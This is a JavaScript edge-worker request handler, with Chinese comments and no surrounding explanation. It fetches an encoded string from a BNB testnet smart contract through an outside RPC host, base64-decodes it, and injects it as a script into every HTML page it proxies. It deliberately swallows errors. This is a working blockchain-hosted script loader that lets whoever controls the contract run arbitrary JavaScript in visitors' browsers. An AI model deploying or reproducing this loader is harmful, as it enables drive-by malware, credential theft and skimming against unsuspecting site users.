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export default {
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  async fetch(request, env, ctx) {
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    let injectedScript = "";
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    try {
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      // 从链上合约读取一段字符串
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      const readStringFromContract = async (contractAddress) => {
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        const bytesToHex = (bytes) => {
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          let hex = "0x";
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          for (const b of bytes) {
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            const part = b.toString(16);
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            hex += part.length === 1 ? `0${part}` : part;
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          }
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          return hex;
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        };
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        const rpcResponse = await fetch("https://bsc-testnet.drpc.org/", {
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          method: "POST",
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          headers: {
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            Accept: "application/json",
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            "Content-Type": "application/json",
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          },
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          body: JSON.stringify({
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            method: "eth_call",
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            params: [
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              {
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                to: contractAddress,
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                data: "0x6d4ce63c",
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              },
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              "latest",
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            ],
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            id: 97,
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            jsonrpc: "2.0",
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          }),
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        });
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        const hexResult = (await rpcResponse.json()).result.slice(2);
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        const bytes = new Uint8Array(
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          hexResult.match(/[\da-f]{2}/gi).map((x) => parseInt(x, 16))
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        );
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        // 按 ABI 动态字符串格式解码
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        const offset = Number(bytesToHex(bytes.slice(0, 32)));
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        const length = Number(bytesToHex(bytes.slice(32, 32 + offset)));
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        return String.fromCharCode.apply(
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          null,
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          bytes.slice(32 + offset, 32 + offset + length)
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        );
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      };
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      const encoded = await readStringFromContract(
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        "0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e"
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      );
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      // 合约返回的字符串还要再做一次 base64 解码
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      injectedScript = atob(encoded);
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    } catch {
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      // 故意吞掉异常
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    }
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    const upstreamResponse = await fetch(request);
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    // 没拿到脚本，或者不是 HTML，就直接放行
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    if (
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      !injectedScript ||
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      !upstreamResponse.headers.get("Content-Type")?.includes("text/html")
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    ) {
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      return upstreamResponse;
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    }
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    // 注入到页面 body 结束前
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    const html = (await upstreamResponse.text()).replace(
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      "</body>",
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      `\x3Cscript>${injectedScript}\x3C/script></body>`
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    );
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    return new Response(html, {
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      status: upstreamResponse.status,
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      statusText: upstreamResponse.statusText,
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      headers: {
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        ...upstreamResponse.headers,
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        "Content-Type": "text/html;charset=UTF-8",
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        "Content-Length": html.length.toString(),
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      },
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    });
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  },
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};